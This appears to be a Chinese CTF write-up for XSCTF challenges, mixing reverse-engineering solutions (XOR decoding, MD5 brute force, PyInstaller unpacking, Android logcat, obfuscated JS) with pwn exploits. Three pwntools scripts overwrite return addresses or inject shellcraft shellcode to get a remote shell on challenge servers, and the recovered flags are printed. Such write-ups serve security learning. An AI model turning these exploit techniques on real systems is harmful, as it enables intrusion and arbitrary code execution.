c_master 请使用简单的C语句对程序进行getshell吧!
1 2 3 4 5 6 Try to write a C getshell program with my code! read(0,base,0x8); write(1,base,0x8); base+=8; base-=8; return 0; 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp)   int  v4;    void  *s;    char  v6[8 ];    unsigned  __int64 v7;    v7 = __readfsqword(0x28 u);   init(argc, argv, envp);   v4 = 0 ;   s = malloc (0x400 uLL);   memset (s, 0 , 1024u LL);   puts ("Try to write a C getshell program with my code!" );   puts ("read(0,base,0x8);" );   puts ("write(1,base,0x8);" );   puts ("base+=8;" );   puts ("base-=8;" );   puts ("return 0;" );   while  ( 1  )   {     while  ( 1  )     {       while  ( 1  )       {         while  ( 1  )         {           while  ( 1  )           {             puts (">>>" );             __isoc99_scanf("%128s" , s);             if  ( strcmp ((const  char  *)s, "read(0,base,0x8);" ) )               break ;             puts ("input:" );             read(0 , &v6[v4], 8u LL);           }           if  ( strcmp ((const  char  *)s, "write(1,base,0x8);" ) )             break ;           puts ("output:" );           write(1 , &v6[v4], 8u LL);         }         if  ( strcmp ((const  char  *)s, "base+=8;" ) )           break ;         v4 += 8 ;       }       if  ( strcmp ((const  char  *)s, "base-=8;" ) )         break ;       v4 -= 8 ;     }     if  ( strcmp ((const  char  *)s, "return 0;" ) )       break ;     puts ("No such code..." );   }   return  0 ; } 
根据输入确定写入数据的地址,那么可以直接将位置定位到main函数的返回地址,写入程序中提供的backdoor函数
Low Address 
… 
 
 
local var 
<- rsp 
 
canary value 
<- rbp-8 
 
old rbp 
<- rbp 
 
return address 
 
args 
 
High Address 
… 
 
坑:直接返回到backdoor函数又不可以,需要返回到实际执行system函数的代码地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from  pwn import  *p = remote("43.248.97.213" , 30483 ) p.recv() p.sendline(b"base+=8;" ) p.recv() p.sendline(b"base+=8;" ) p.recv() p.sendline(b"base+=8;" ) p.recv() p.sendline(b"read(0,base,0x8);" ) p.recv() p.sendline(p64(0x4012c3 )) p.recv() p.sendline(b"return 0;" ) p.interactive() 
XSCTF{p1e4se_bec0me_4_c_m4ster_x5c7f}
rock_paper_scissors 欢迎来到石头剪刀布!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp)   unsigned  int  v3;    char  v5[28 ];    int  v6;    unsigned  int  RandomMove;    unsigned  int  userout;    int  v9;    signed  int  v10;    v10 = 0 ;   v9 = 0 ;   v3 = time(0L L);   srand(v3);   puts (&byte_402080);   puts (&byte_4020A0);   puts (&byte_4020E6);   puts (&byte_402108);   while  ( v10 <= 9  && v9 <= 29  )   {     printf (&byte_402139);     fflush(stdout );     if  ( v10 > 5  )       gets(v5);     __isoc99_scanf(&unk_402151, v5);     userout = stringToMove(v5);     if  ( userout == -1  )     {       puts (&byte_402158);     }     else  if  ( v10 > 8  || v10 <= 5  || (int )hard() <= 2  )     {       if  ( v10 == 9  && (unsigned  int )hell() != 666  )       { LABEL_10:         win(userout, v10);       }       else        {         RandomMove = getRandomMove();         printf (&format);         if  ( RandomMove == 2  )         {           puts (&byte_402037);         }         else  if  ( RandomMove <= 2  )         {           if  ( RandomMove )             puts (&byte_40203E);           else              puts (&s2);         }         v6 = determineWinner(userout, RandomMove);         if  ( v6 == 1  )         {           puts (&byte_4021A7);           ++v10;         }         else  if  ( v6 == -1  )         {           puts (&byte_402054);         }         else          {           puts (&byte_402073);         }         printf (&byte_402061, (unsigned  int )v10);         ++v9;       }     }     else      {       if  ( (int )hard() <= 4  )         goto  LABEL_10;       bewin(userout, v10);     }   }   final ();   return  0 ; } 
其中final函数就是最终的shell,而gets函数存在漏洞,可以使用栈溢出将当前函数的返回地址覆盖为final函数的返回地址
中文在C语言中使用utf-8编码,一个中文字符占用三个字节E79FB3E5A4B4但是实际传输时是p64(0xe5b39fe7)+p64(0xb4a4)
 
exp
1 2 3 4 5 6 7 8 9 from  pwn import  *p = remote('43.248.97.213' , 30480 ) p.recv() p.sendline(p64(0xe5b39fe7 )+p64(0xb4a4 )+b'a' *20 +b'b' *8 +p64(0x4012db )) p.interactive() 
XSCTF{1bab71b8-117f-4dea-a047-340b72101d7b}
一个字节能解决的shellcode,就不要用两个字节!
程序两次接收用户输入,其中第二次应该输入shellcode,之后程序会将用户输入的shellcode直接执行,但是题目限制了输入shellcode的长度(24)
题目给的可执行文件反汇编失败,估计是将字符串地址作为函数地址直接调用导致的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 .text:000055A4CE79820E ; int __cdecl main(int argc, const char **argv, const char **envp) .text:000055A4CE79820E public main .text:000055A4CE79820E main proc near                          ; DATA XREF: _start+18↑o .text:000055A4CE79820E .text:000055A4CE79820E s= byte ptr -150h .text:000055A4CE79820E buf= byte ptr -50h .text:000055A4CE79820E var_8= dword ptr -8 .text:000055A4CE79820E var_4= dword ptr -4 .text:000055A4CE79820E .text:000055A4CE79820E ; __unwind { // 55A4CE797000 .text:000055A4CE79820E endbr64 .text:000055A4CE798212 push    rbp .text:000055A4CE798213 mov     rbp, rsp .text:000055A4CE798216 sub     rsp, 150h .text:000055A4CE79821D mov     eax, 0 .text:000055A4CE798222 call    init .text:000055A4CE798227 mov     [rbp+var_8], 1 .text:000055A4CE79822E lea     rax, s                          ; "Welcome to XSCTF" .text:000055A4CE798235 mov     rdi, rax                        ; s .text:000055A4CE798238 call    _puts .text:000055A4CE79823D lea     rax, [rbp+buf] .text:000055A4CE798241 mov     edx, 81                         ; nbytes .text:000055A4CE798246 mov     rsi, rax                        ; buf .text:000055A4CE798249 mov     edi, 0                          ; fd .text:000055A4CE79824E call    _read .text:000055A4CE798253 lea     rax, aInputYourMagic            ; "input your magic code:" .text:000055A4CE79825A mov     rdi, rax                        ; s .text:000055A4CE79825D call    _puts .text:000055A4CE798262 lea     rax, [rbp+s] .text:000055A4CE798269 mov     edx, 256                        ; nbytes .text:000055A4CE79826E mov     rsi, rax                        ; buf .text:000055A4CE798271 mov     edi, 0                          ; fd .text:000055A4CE798276 call    _read .text:000055A4CE79827B mov     [rbp+var_4], eax .text:000055A4CE79827E cmp     [rbp+var_4], 0 .text:000055A4CE798282 jg      short loc_55A4CE79828B .text:000055A4CE798284 mov     eax, 0 .text:000055A4CE798289 jmp     short locret_55A4CE7982DE .text:000055A4CE79828B ; --------------------------------------------------------------------------- .text:000055A4CE79828B .text:000055A4CE79828B loc_55A4CE79828B:                       ; CODE XREF: main+74↑j .text:000055A4CE79828B lea     rax, [rbp+s] .text:000055A4CE798292 mov     rdi, rax                        ; s .text:000055A4CE798295 call    _strlen .text:000055A4CE79829A mov     edx, [rbp+var_8] .text:000055A4CE79829D movsxd  rdx, edx .text:000055A4CE7982A0 cmp     rax, rdx .text:000055A4CE7982A3 ja      short loc_55A4CE7982BA .text:000055A4CE7982A5 lea     rax, [rbp+s] .text:000055A4CE7982AC mov     rdi, rax                        ; s .text:000055A4CE7982AF call    _strlen .text:000055A4CE7982B4 cmp     rax, 24 .text:000055A4CE7982B8 jbe     short loc_55A4CE7982D0 .text:000055A4CE7982BA .text:000055A4CE7982BA loc_55A4CE7982BA:                       ; CODE XREF: main+95↑j .text:000055A4CE7982BA lea     rax, aTooLong                   ; "too long!" .text:000055A4CE7982C1 mov     rdi, rax                        ; s .text:000055A4CE7982C4 call    _puts .text:000055A4CE7982C9 mov     eax, 0 .text:000055A4CE7982CE jmp     short locret_55A4CE7982DE .text:000055A4CE7982D0 ; --------------------------------------------------------------------------- .text:000055A4CE7982D0 .text:000055A4CE7982D0 loc_55A4CE7982D0:                       ; CODE XREF: main+AA↑j .text:000055A4CE7982D0 lea     rax, [rbp+s] .text:000055A4CE7982D7 call    rax .text:000055A4CE7982D9 mov     eax, 0 .text:000055A4CE7982DE .text:000055A4CE7982DE locret_55A4CE7982DE:                    ; CODE XREF: main+7B↑j .text:000055A4CE7982DE                                         ; main+C0↑j .text:000055A4CE7982DE leave .text:000055A4CE7982DF retn .text:000055A4CE7982DF ; } // starts at 55A4CE79820E .text:000055A4CE7982DF main endp 
值得注意的点是程序接收了两次用户输入
在调用read函数之后,程序使用strlen函数将输入的长度存储在rax中,接着程序会将rax与栈上的一个值进行比较,如果rax大于该值就不会执行shellcode 
第二次是与一个固定值(24)比较,如果大于这个值就不会执行shellcode 
 
其中第一次栈上的值其实可以通过第一次的输入修改,这样就可以绕过这次比较
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from  pwn import  *p = remote("43.248.97.213" , 30510 ) p.recv() p.sendline(b'z' *80 ) p.recv() context(arch='amd64' , os='linux' ) shellcode = asm(shellcraft.sh()) + b'\x00'  p.sendline(p64(0x1234 )+shellcode) p.interactive() 
XSCTF{qy_7t11_y0u_th4t_y0ur_p4yl0ad_15_to0_lon9}
Lets_go_to_xor 只是一个超级Eazzzzzzzzzzy的Go程序,Let's Go!
使用golang编写编译的可执行文件其主函数在main.main中 
进入main.main找到main.decode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __usercall main_decode@<rax>() {   __int64 v0;    unsigned  __int64 v1;    unsigned  __int64 i;    if  ( v1 != qword_C86F18 )     return  0L L;   for  ( i = 0L L; (__int64)v1 > (__int64)i; ++i )   {     if  ( i >= v1 )       runtime_panicIndex();     if  ( (unsigned  __int64)((__int64)i % 10 ) >= 0xA  )       runtime_panicIndex();     if  ( i >= v1 )       runtime_panicIndex();     *(_BYTE *)(v0 + i) = aIL0veCtf[(__int64)i % 10 ] ^ *(_BYTE *)(i + v0);     if  ( i >= v1 )       runtime_panicIndex();     if  ( qword_C86F18 <= i )       runtime_panicIndex();     if  ( *((_BYTE *)main_enc + i) != *(_BYTE *)(i + v0) )       return  0L L;   }   return  1L L; } 
虽然和C语言不太一样,但是还是可以勉强看出来逻辑,大概就是下面这个意思
1 2 3 4 5 for  ( i = 0L L; (__int64)v1 > (__int64)i; ++i )    *(_BYTE *)(v0 + i) = aIL0veCtf[(__int64)i % 10 ] ^ *(_BYTE *)(i + v0);     if  ( *((_BYTE *)main_enc + i) != *(_BYTE *)(i + v0) )       return  0L L;   } 
找到main_enc和aIL0veCtf,提取数据,将main_enc与aIL0veCtf循环异或就可以得到flag
exp
1 2 3 4 5 key = 'i_l0ve_CtF'  s = [0x0F , 0x33 , 0x0D , 0x57 , 0x0D , 0x3D , 0x0C , 0x14 , 0x38 , 0x0E , 0x21 , 0x17 , 0x33 , 0x01 , 0x05 , 0x3A , 0x0F , 0x34 , 0x1A , 0x19 , 0x24 , 0x6B , 0x1F , 0x64 , 0x13 , 0x17 , 0x22 ] for  i in  range (len (s)):    print(chr ((s[i]^ord (key[i%10 ]))&0xff ), end='' ) 
flag{XSWLHHH_1s_Pwn_M4sTer}
loglistening 题目下发一个安装包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package  com.example.loglistening;import  android.os.Bundle;import  android.view.View;import  android.view.View.OnClickListener;import  android.widget.Button;import  android.widget.Toast;import  androidx.appcompat.app.AppCompatActivity;import  com.example.loglistening.databinding.ActivityMainBinding;public  class  MainActivity  extends  AppCompatActivity      private  ActivityMainBinding binding;     public  native  void  fasheng ()      static  {         System.loadLibrary("loglistening" );     }          public  void  onCreate (Bundle bundle)           super .onCreate(bundle);         ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());         this .binding = inflate;         setContentView((View) inflate.getRoot());         ((Button) findViewById(C0587R.C0590id.button1)).setOnClickListener(new  OnClickListener() {             public  void  onClick (View view)                   System.out.println("好像有什么事情在native层发生了!" );                 MainActivity.this .fasheng();                 Toast.makeText(MainActivity.this .getApplicationContext(), "flag已经生成了!" , 0 ).show();             }         });     } } 
是通过native层的代码生成的flag
1 2 3 4 5 6 7 8 9 10 unsigned  __int64 Java_com_example_loglistening_MainActivity_fasheng ()   char  v1[40 ];    unsigned  __int64 v2;    v2 = __readfsqword(0x28 u);   md5("stardustduststar" , v1);   __android_log_print(4L L, "xilo" , "flag{%s}" , v1);   return  __readfsqword(0x28 u); } 
按道理说把字符串md5之后就可以得到flag了,但是失败了
看到log字样,直接查日志
模拟器开启开发者选项 
adb devices确认连接成功 
输入adb logcat -v time>D:log.txt开始抓取日志,期间打开软件点击按钮生成flag 
然后返回命令行Ctrl+C完成抓取 
找到log.txt查看日志(虽然命令写的在D盘,但是实际上是在当前目录) 
 
flag{4724110e8c8a83c123d6df82efee8c53}
picchange 输入数字即可得到flag哦
一开始想的是直接扔进ida反编译然后看对图像的加密逻辑,也就是下面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void  __fastcall sub_7FF6B8023C20 (const  char  *a1, __int64 a2)   FILE *Stream;    FILE *Streama;    int  v4;    void  *Buffer;    int  i;    sub_7FF6B80213C0(&unk_7FF6B8036017);   Stream = fopen(a1, "rb" );   if  ( Stream )   {     fseek(Stream, 0 , 2 );     v4 = ftell(Stream);     fseek(Stream, 0 , 0 );     Buffer = malloc (v4);     if  ( Buffer )     {       fread(Buffer, 1u i64, v4, Stream);       fclose(Stream);       for  ( i = 0 ; i < v4; ++i )         *((_BYTE *)Buffer + i) ^= strtol((const  char  *)(i % 32  + a2), 0 i64, 16 );       Streama = fopen("picc_xor.png" , "wb" );       if  ( Streama )       {         fwrite(Buffer, 1u i64, v4, Streama);         fclose(Streama);         free (Buffer);         sub_7FF6B80211CC(&unk_7FF6B802CFB8);       }       else        {         perror(&byte_7FF6B802CFA8);         free (Buffer);       }     }     else      {       perror(&byte_7FF6B802CF80);       fclose(Stream);     }   }   else    {     perror(&ErrMsg);   } } 
可以看到是对图像文件的每一个字节都进行了异或运算,但是异或的对象是不确定的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 Stack[00001C64]:0000003589DCF5A8 db  32h ; 2 Stack[00001C64]:0000003589DCF5A9 db  30h ; 0 Stack[00001C64]:0000003589DCF5AA db  32h ; 2 Stack[00001C64]:0000003589DCF5AB db  63h ; c Stack[00001C64]:0000003589DCF5AC db  62h ; b Stack[00001C64]:0000003589DCF5AD db  39h ; 9 Stack[00001C64]:0000003589DCF5AE db  36h ; 6 Stack[00001C64]:0000003589DCF5AF db  32h ; 2 Stack[00001C64]:0000003589DCF5B0 db  61h ; a Stack[00001C64]:0000003589DCF5B1 db  63h ; c Stack[00001C64]:0000003589DCF5B2 db  35h ; 5 Stack[00001C64]:0000003589DCF5B3 db  39h ; 9 Stack[00001C64]:0000003589DCF5B4 db  30h ; 0 Stack[00001C64]:0000003589DCF5B5 db  37h ; 7 Stack[00001C64]:0000003589DCF5B6 db  35h ; 5 Stack[00001C64]:0000003589DCF5B7 db  62h ; b Stack[00001C64]:0000003589DCF5B8 db  39h ; 9 Stack[00001C64]:0000003589DCF5B9 db  36h ; 6 Stack[00001C64]:0000003589DCF5BA db  34h ; 4 Stack[00001C64]:0000003589DCF5BB db  62h ; b Stack[00001C64]:0000003589DCF5BC db  30h ; 0 Stack[00001C64]:0000003589DCF5BD db  37h ; 7 Stack[00001C64]:0000003589DCF5BE db  31h ; 1 Stack[00001C64]:0000003589DCF5BF db  35h ; 5 Stack[00001C64]:0000003589DCF5C0 db  32h ; 2 Stack[00001C64]:0000003589DCF5C1 db  64h ; d Stack[00001C64]:0000003589DCF5C2 db  32h ; 2 Stack[00001C64]:0000003589DCF5C3 db  33h ; 3 Stack[00001C64]:0000003589DCF5C4 db  34h ; 4 Stack[00001C64]:0000003589DCF5C5 db  62h ; b Stack[00001C64]:0000003589DCF5C6 db  37h ; 7 Stack[00001C64]:0000003589DCF5C7 db  30h ; 0 
这段数据就是输入的测试数据123对应的md5值,而为了解密图像,输入的key需要满足一定条件
1 2 请输入你的key: 123 MD5 的前三位数字与 key的本身值 不相等。注:数字范围为0--9 
这里需要注意的主要是数字范围为0--9指的是输入的key还是md5的值,还是两者皆是
1 *((_BYTE *)Buffer + i) ^= strtol((const  char  *)(i % 32  + a2), 0 i64, 16 ); 
可以看到也是以32为周期的
所以现在的问题就是找到某三位数字,其md5的值的前三位与原本的值是相等的
生成正确的key
1 2 3 4 5 6 7 8 9 10 11 import  hashlibm = hashlib.md5() for  i in  range (0 ,10 ):    for  j in  range (0 , 10 ):         for  k in  range (0 , 10 ):             num = f"{i*100 +j*10 +k:03 d} "              c = hashlib.md5(num.encode('utf8' )).hexdigest()             print(num, str (c)[0 :3 ])             if  str (num) == str (c)[0 :3 ]:                 print(num) 
这里有个坑,使用python实现md5编码还有一种先update再hexdigest的方法,那种方法在这里是行不通的320
flag{pic_pic_is_so_easy!}
Ro1ling~ 题目描述
flag is rolling ~ flag is flying ~ 
press q to quit 
tips: The flag format is XSCTF\{[ -~]+\} 
 
运行程序,会出现弹幕一样飘过的文字
1 2 3 4 5 6 Traceback (most recent call last):   File "Ro1ling.py" , line 97 , in  <module>   File "curses\__init__.py" , line 94 , in  wrapper   File "Ro1ling.py" , line 94 , in  main KeyboardInterrupt [21964 ] Failed to execute script 'Ro1ling'  due to unhandled exception! 
熟悉的Traceback,一眼就能看出来是python
所以这是一个使用python编写并打包的exe文件pyinstaller等,这里使用对应的pyinstxtractor反编译
1 python pyinstxtractor.py Ro1ling.exe 
运行以上命令之后就会在当前目录下生成一个文件夹,其中有同名的pyc文件uncompyle6将pyc文件转换为py文件
上网查询之后找到这么一篇博客python逆向实战:反编译python3 pyc文件 - 乘舟凉 - 博客园 (cnblogs.com) 
里边有手动提取opcode的示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import  codefrom  uncompyle6.main import  decompileimport  sysimport  disdef  get_sub_codeObject_list (co ):    return  [ins for  ins in  list (dis.Bytecode(co)) if  "code object"  in  str (ins.argval)] outstream = sys.stdout showasm = None  showast = False  showgrammar = False  source_encoding = None  mapstream = None  do_fragments = False  from  xdis import  load_modulefilename = "Ro1ling.pyc"  code_objects = {} (version, timestamp, magic_int, co, is_pypy, source_size, sip_hash) = load_module(     filename, code_objects ) def  decompile_part (co,father_name=None ,outstream=sys.stdout ):    try :         if  father_name is  not  None :             name = "%s.%s"  % (father_name,co.co_name)         else :             name = co.co_name         outstream.write("\n# %s ____________________________________________\n"  % name)         decompile(             version,             co,             outstream,             None ,             False ,             timestamp,             False ,             None ,             code_objects={},             source_size=source_size,             is_pypy=False ,             magic_int=magic_int,             mapstream=None ,             do_fragments=False ,         )     except :         bytecode = get_sub_codeObject_list(co)         for  code in  bytecode:             co = code.argval             decompile_part(co,name,outstream) decompile_part(co) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  disimport  marshalimport  sysimport  iosys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8' )  if  len (sys.argv) == 2 :    filename = sys.argv[1 ]     with  open (filename,"rb" ) as  fp:         byteCode = fp.read()[16 :]         co  = marshal.loads(byteCode)     dis.dis(co) 
先运行第一份代码,再运行第二份代码,就可以得到opcode的输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14  28          72 BUILD_LIST               0              74 LOAD_CONST               6 (('Summer in the hills' , 'Those hazy days I do remember' , 'We were running still' , 'Had the whole world at our feet' , 'Watching seasons change' , 'Our roads were lined with adventure' , 'Mountains in the way' , "Couldn't keep us from the sea" , 'Here we stand open arms' , 'This is home where we are' , 'Ever strong in the world that we made' , 'I still hear you in the breeze' , 'See your shadows in the trees' , 'Holding on, memories never change' ))              76 CALL_FINALLY             1 (to 79)              78 STORE_DEREF              2 (phrases)  29          80 LOAD_CONST               7 ('𝙓𝙎𝘾𝙏𝙁{𝙁0𝙧_0𝙣𝙘3_𝙮0𝙪_𝙝4𝙫3_7𝙖57𝙚𝙙_𝙛𝙡𝙞𝙜                    𝙝𝙩_𝙮0𝙪_𝙬1𝙡𝙡_�  44𝙡𝙠_7𝙝3_3𝙖𝙧7𝙝_𝙬17𝙝_𝙮0𝙪𝙧_3𝙮35_7𝙪𝙧𝙣3𝙙_5𝙠𝙮𝙬4𝙧𝙙5}' )             82 STORE_DEREF              3 (secret_message)  46          84 LOAD_DEREF               4 (stdscr)         >>   86 LOAD_METHOD              7 (nodelay)              88 LOAD_CONST               8 (True)              90 CALL_METHOD              1              92 POP_TOP 
其中因为命令行的编码原因这里的flag其实是乱码(因此我还分析了一下opcode有没有加密的过程,事实证明没有)
在复制到其他文本编辑器之后就可以看到flag了(要手打,因为格式写了只支持ascii编码的字符,这里是unicode)
XSCTF{F0r_0nc3_y0u_h4v3_7a57ed_flight_y0u_w1ll_w4lk_7h3_3ar7h_w17h_y0ur_3y35_7urn3d_5kyw4rd5}这flag真长啊
Running~ 一个没有后缀的文件,内容是js代码
1 var  _0x21b6c9=_0xe50d;function  _0xe50d (_0x483c4e,_0x3bb3e1 )var  _0x1173b4=_0x1173();return  _0xe50d=function (_0xe50d90,_0x1a4c11 )0x105 ;var  _0x33ff31=_0x1173b4[_0xe50d90];return  _0x33ff31;},_0xe50d(_0x483c4e,_0x3bb3e1);}function  _0x1173 (var  _0x2badaa=['920aGutvi' ,'517wlRFdu' ,'221112hjXCvb' ,'169436bqkkfr' ,'8dhAXCJ' ,'12838203EfwKcG' ,'log' ,'CgogX18gICBfXyAgIF9fX19fICAgIF9fX19fICAgX19fX19fXyAgIF9fX19fXyAgICAgX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fXyAgICAgICAgICAgXyAgIF8gICAgIF8gICAgICAgICAgIF8gICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICBfXyAgICAgICAgICAgICAgICAgIF8gIF8gICAgIF8gICAgIF8gICAgX19fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX18gICAgICAgICAgICAgX19fXyAgICBfICAgICAgICBfXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXyAgICAgXyAgICAgICAgICAgICAgICAgIF9fICAgCiBcIFwgLyAvICAvIF9fX198ICAvIF9fX198IHxfXyAgIF9ffCB8ICBfX19ffCAgIC8gLyAgICAgL1wgICAgICAgICAgICAgICAgICAgICAgfF8gICBffCAgICAgICAgIChfKSB8IHwgICAoXykgICAgICAgICB8IHwgICAgICAgICAgfCAgX19fX3wgICAgICAgICAgICAgICAgL18gfCAgICAgICAgICAgICAgICB8IHx8IHwgICB8IHwgICAoXykgIC8gXyBcICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8gX3wgICAgICAgICAgIC8gX18gXCAgfCB8ICAgICAgLyBffCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgfCAgIChfKSAgICAgICAgICAgICAgICAgXCBcICAKICBcIFYgLyAgfCAoX19fICAgfCB8ICAgICAgICAgfCB8ICAgIHwgfF9fICAgICB8IHwgICAgIC8gIFwgICAgIF8gX18gICAgICAgICAgICAgIHwgfCAgICBfIF9fICAgIF8gIHwgfF8gICBfICAgIF9fIF8gIHwgfCAgICAgICAgICB8IHxfXyAgICBfXyAgX18gIF8gX18gICAgfCB8ICAgX19fICAgIF8gX18gIHwgfHwgfF8gIHwgfF8gICBfICB8IHwgfCB8ICBfIF9fICAgICAgICAgICAgICBfX18gICB8IHxfICAgICAgICAgICB8IHwgIHwgfCB8IHxfXyAgIHwgfF8gICBfICAgXyAgIF9fXyAgICBfX18gICAgX18gXyAgfCB8XyAgIF8gICAgX19fICAgIF8gX18gICAgfCB8IAogICA+IDwgICAgXF9fXyBcICB8IHwgICAgICAgICB8IHwgICAgfCAgX198ICAgLyAvICAgICAvIC9cIFwgICB8ICdfIFwgICAgICAgICAgICAgfCB8ICAgfCAnXyBcICB8IHwgfCBfX3wgfCB8ICAvIF9gIHwgfCB8ICAgICAgICAgIHwgIF9ffCAgIFwgXC8gLyB8ICdfIFwgICB8IHwgIC8gXyBcICB8ICdfX3wgfF9fICAgX3wgfCBfX3wgfCB8IHwgfCB8IHwgfCAnXyBcICAgICAgICAgICAgLyBfIFwgIHwgIF98ICAgICAgICAgIHwgfCAgfCB8IHwgJ18gXCAgfCAgX3wgfCB8IHwgfCAvIF9ffCAgLyBfX3wgIC8gX2AgfCB8IF9ffCB8IHwgIC8gXyBcICB8ICdfIFwgICAgXCBcCiAgLyAuIFwgICBfX19fKSB8IHwgfF9fX18gICAgIHwgfCAgICB8IHwgICAgICBcIFwgICAgLyBfX19fIFwgIHwgfCB8IHwgICAgICAgICAgIF98IHxfICB8IHwgfCB8IHwgfCB8IHxfICB8IHwgfCAoX3wgfCB8IHwgICAgICAgICAgfCB8X19fXyAgID4gIDwgIHwgfF8pIHwgIHwgfCB8IChfKSB8IHwgfCAgICAgICB8IHwgICB8IHxfICB8IHwgfCB8X3wgfCB8IHwgfCB8ICAgICAgICAgIHwgKF8pIHwgfCB8ICAgICAgICAgICAgfCB8X198IHwgfCB8XykgfCB8IHwgICB8IHxffCB8IFxfXyBcIHwgKF9fICB8IChffCB8IHwgfF8gIHwgfCB8IChfKSB8IHwgfCB8IHwgICAvIC8KIC9fLyBcX1wgfF9fX19fLyAgIFxfX19fX3wgICAgfF98ICAgIHxffCAgICAgICB8IHwgIC9fLyAgICBcX1wgfF98IHxffCAgICAgICAgICB8X19fX198IHxffCB8X3wgfF98ICBcX198IHxffCAgXF9fLF98IHxffCAgICAgICAgICB8X19fX19ffCAvXy9cX1wgfCAuX18vICAgfF98ICBcX19fLyAgfF98ICAgICAgIHxffCAgICBcX198IHxffCAgXF9fXy8gIHxffCB8X3wgICAgICAgICAgIFxfX18vICB8X3wgICAgICAgICAgICAgXF9fX18vICB8Xy5fXy8gIHxffCAgICBcX18sX3wgfF9fXy8gIFxfX198ICBcX18sX3wgIFxfX3wgfF98ICBcX19fLyAgfF98IHxffCAgfCB8IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcX1wgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICB8IHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX19fX19fICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC9fLyAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgIHxffCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfX19fX198ICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCg==' ,'3076824IERKkW' ,'6626otVnDv' ,'4488330eyQBas' ,'7196435AHLNnm' ];_0x1173=function (return  _0x2badaa;};return  _0x1173();}(function (_0x3fa77a,_0x506be4 )var  _0x324ad3=_0xe50d,_0x1b9807=_0x3fa77a();while (!![] )try {var  _0x5cf5b7=-parseInt (_0x324ad3(0x107 ))/0x1 *(-parseInt (_0x324ad3(0x10f ))/0x2 )+-parseInt (_0x324ad3(0x10e ))/0x3 +parseInt (_0x324ad3(0x109 ))/0x4 +parseInt (_0x324ad3(0x105 ))/0x5 +-parseInt (_0x324ad3(0x110 ))/0x6 +parseInt (_0x324ad3(0x10b ))/0x7 *(parseInt (_0x324ad3(0x10a ))/0x8 )+-parseInt (_0x324ad3(0x108 ))/0x9 *(parseInt (_0x324ad3(0x106 ))/0xa );if (_0x5cf5b7===_0x506be4)break ;else  _0x1b9807['push' ](_0x1b9807['shift' ]());}catch (_0x29c073 )'push' ](_0x1b9807['shift' ]());}}}(_0x1173,0xf2d11 ),console [_0x21b6c9(0x10c )](atob(_0x21b6c9(0x10d ))));
直接复制到浏览器控制台
1 2 3 4 5 6 7 8 9 __   __   _____    _____   _______   ______     __                              _____           _   _     _           _            ______                  __                  _  _     _     _    ___                              __             ____    _        __                                _     _                  __    \ \ / /  / ____|  / ____| |__   __| |  ____|   / /     /\                      |_   _|         (_) | |   (_)         | |          |  ____|                /_ |                | || |   | |   (_)  / _ \                            / _|           / __ \  | |      / _|                              | |   (_)                 \ \    \ V /  | (___   | |         | |    | |__     | |     /  \     _ __              | |    _ __    _  | |_   _    __ _  | |          | |__    __  __  _ __    | |   ___    _ __  | || |_  | |_   _  | | | |  _ __              ___   | |_           | |  